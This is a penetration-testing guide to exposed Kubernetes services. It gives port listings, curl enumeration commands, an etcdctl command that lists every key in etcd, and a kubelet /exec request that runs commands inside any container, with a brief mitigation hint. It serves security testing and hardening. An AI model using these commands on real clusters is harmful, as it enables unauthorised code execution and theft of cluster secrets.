# Pentesting Kubernetes Services Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**. ## Finding exposed pods with OSINT One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string. ## Finding Exposed pods via port scanning The following ports might be open in a Kubernetes cluster: | Port | Process | Description | | ---------- | -------------- | ---------------------------------------------------------------------- | | 443/TCP | kube-apiserver | Kubernetes API port | | 2379/TCP | etcd | | | 6666/TCP | etcd | etcd | | 4194/TCP | cAdvisor | Container metrics | | 6443/TCP | kube-apiserver | Kubernetes API port | | 8443/TCP | kube-apiserver | Minikube API port | | 8080/TCP | kube-apiserver | Insecure API port | | 10250/TCP | kubelet | HTTPS API which allows full mode access | | 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state | | 10256/TCP | kube-proxy | Kube Proxy health check server | | 9099/TCP | calico-felix | Health check server for Calico | | 6782-4/TCP | weave | Metrics and endpoints | ### Kube-apiserver This is the **API Kubernetes service** the administrators talks with usually using the tool **`kubectl`**. **Common ports: 6443 and 443**, but also 8443 in minikube and 8080 as insecure. ``` curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` **Check the following page to learn how to obtain sensitive data and perform sensitive actions talking to this service:** {% content-ref url="enumeration-from-a-pod.md" %} [enumeration-from-a-pod.md](enumeration-from-a-pod.md) {% endcontent-ref %} ### Kubelet API This service **run in every node of the cluster**. It's the service that will **control** the pods inside the **node**. It talks with the **kube-apiserver**. If you find this service exposed you might have found an [**unauthenticated RCE**](pentesting-kubernetes-from-the-outside.md#kubelet-rce). #### Kubelet API ``` curl -k https://:10250 curl -k https://:10250/metrics curl -k https://:10250/pods ``` #### kubelet (Read only) ``` curl -k https://:10255 http://:10255/pods ``` ### cAdvisor Service useful to gather metrics. ``` curl -k https://:4194 ``` #### etcd API ``` curl -k https://:2379 curl -k https://:2379/version etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access By **default**, **kube-apiserver** API endpoints are **forbidden** to **anonymous** access. But it’s always a good idea to check if there are any **insecure endpoints that expose sensitive information**: ![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) ### **Checking for ETCD Anonymous Access** The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check. If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: ``` etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:** ![](<../../.gitbook/assets/image (637).png>) The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' Path("/pods"). Path("/run") Path("/exec") Path("/attach") Path("/portForward") Path("/containerLogs") Path("/runningpods/"). ``` All of them sounds interesting. #### /pods This endpoint list pods and their containers: ```bash curl -ks https://worker:10250/pods ``` #### /exec This endpoint allows to execute code inside any container very easily: ```bash # Tthe command is passed as an array (split by spaces) and that is a GET request. curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} \ -d 'input=1' -d 'output=1' -d 'tty=1' \ -d 'command=ls' -d 'command=/' ``` To automate the exploitation you can also use the script [**kubelet-anon-rce**](https://github.com/serain/kubelet-anon-rce). {% hint style="info" %} To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level. {% endhint %} ### **Checking Kubelet (Read Only Port) Information Exposure** When the **kubelet read-only port** is exposed, the attacker can retrieve information from the API. This exposes **cluster configuration elements, such as pods names, location of internal files and other configurations**. This is not critical information, but it still should not be exposed to the internet. For example, a remote attacker can abuse this by accessing the following URL: `http://:10255/pods` ![](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) ## References {% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2" %} {% embed url="https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet" %}